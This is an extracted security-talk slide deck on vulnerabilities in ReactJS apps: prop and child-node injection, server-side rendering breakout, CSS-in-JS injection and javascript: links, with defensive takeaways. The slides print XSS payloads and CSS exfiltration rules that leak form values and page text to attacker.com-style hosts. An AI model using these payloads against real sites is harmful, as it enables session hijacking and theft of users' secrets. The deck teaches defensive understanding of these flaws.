Upload
lamtruc
View
254
Download
5
Embed Size (px)
Citation preview
Vulnerability in Apps on ReactJS
Meshcheryakov Aleksey
• React review
• Components, Props and Elements injections
• Server-Side Rendering
• CSS injection
• XSS in React Apps
Agenda
• JS Library for creating UI, not a Framework
• Only View in Model-View-Controller (MVC) Pattern
• Popular in startups
What is React?
• One-way data flow
• Virtual DOM
• JSX
• ReactNative
JSX:
const element = (
<h1 className="greeting">
Hello, world!
</h1>
);
JavaScript:
const element = React.createElement(
'h1',
{className: 'greeting'},
'Hello, world!'
);
React features
class XSS_Test extendsReact.Component {
render() {
let xss_payload = “<img src=x onerror='alert(1)'/>";
return <div>STRING {xss_payload} ESCAPED</div>;
}
}
Result:
Auto escaping strings
JSX:
<type {…props}>{childrens}</type>
JavaScript:
React.createElement(“type", [props],
[…childrens]};
React component
JSX:
<span>{attacker_supplied}</span>
JavaScript:
React.createElement("span", null,
attacker_supplied};
Injecting Child Node
{
_isReactElement: true,
_store: {},
type: "body",
props: {
dangerouslySetInnerHTML: {
__html:
"<script>alert(1)</script>"
}
}
}
Injecting Child Node (Payload)
• Found by Daniel LeCheminant
• Fixed in React 0.14
<span {...attacker_props} />
React.createElement(″span″,
attacker_props);
Payload:
{″dangerouslySetInnerHtml″: {″__html″:
″<img src=xss onerror=′alert(1)′/>″}}
Injecting Props
function renderFullPage(html, preloadedState) {
return ` <!doctype html>
<html>
<head><title>Redux Universal Example</title></head>
<body>
<div id="root">${html}</div>
<script>window.__PRELOADED_STATE__ = ${JSON.stringify(preloadedState)}</script>
<script src="/static/bundle.js"></script>
</body>
</html> `
}
Server-Side Rendering
Payload:
preloadedState = {
attacker_supplied :
"xss</script><script>alert(1)</script>"
}
Server-Side Rendering
• Using JS to describe CSS Rules
• Using one language for logic and styling
• Add styles directly to components, using full power of CSS
<Div
fontSize={20}
textAlign="center"
>
Hello CSS-in-JS!
</Div>
CSS-in-JS
<Div
height={120}
width={120}
backgroundColor='#888'
backgroundImage={user.avatarURL}
/>
Payload:
user.avatarURL = `test;}.inj_rule{color:red`
CSS injection vulnerability
const textColor = `white;}
body {
background-color: purple;
}
.x{color: red`
<Div color={textColor}>
Hello!
</Div>
UI-redressing attack
<style>
#form2 input[value^='a'] { background-image: url(https://attacker.com/?a); }
#form2 input[value^='b'] { background-image: url(https://attacker.com/?b); }
#form2 input[value^='c'] { background-image: url(https://attacker.com/?c); }
[...]
</style>
<form action="http://example.com" id="form2">
<input type="text" id="secret" name="secret" value="abc">
</form>
Password stealing color
<style>@font-face{font-family: poc;src: url(https://attacker.example.com/?A);unicode-range:U+0041;}@font-face{font-family: poc;src: url(https://attacker.example.com/?B);unicode-range:U+0042;}…#sensitive-information{font-family: poc;}</style>
Data stealing
<style>@font-face{font-family:poc;src: url(http://attacker.example.com/?A);unicode-range:U+0041;}@font-face{font-family:poc;src: url(http://attacker.example.com/?B);unicode-range:U+0042;}…#sensitive-information{font-family:poc;}</style>
Data stealing
<div
dangerouslySetInnerHTML
= {attacker_props}/>;
Payload:
{″__html″:″<img src=xss
onerror=′alert(1)′/>″}
“Classic” XSS
<a href={attacker_supplied}>Link</a>
<button type=submit
formaction={attacker_supplied}>
Payload:
javascript:alert(1)
Injectable Attributes
• eval
• SetInterval
• SetTimeout
Eval-based injection
• HTML-elements doesn’t parsed
• Can’t create arbitrary elements
• Only eval() vector work
React Native
• Developers• Don’t use dangerouslySetInnerHtml
• Specify props that are used
• Avoid using untrusted date in stylesheets
• Security testers• Try to inject JavaScript, JSON, CSS wherever you can
Takeaways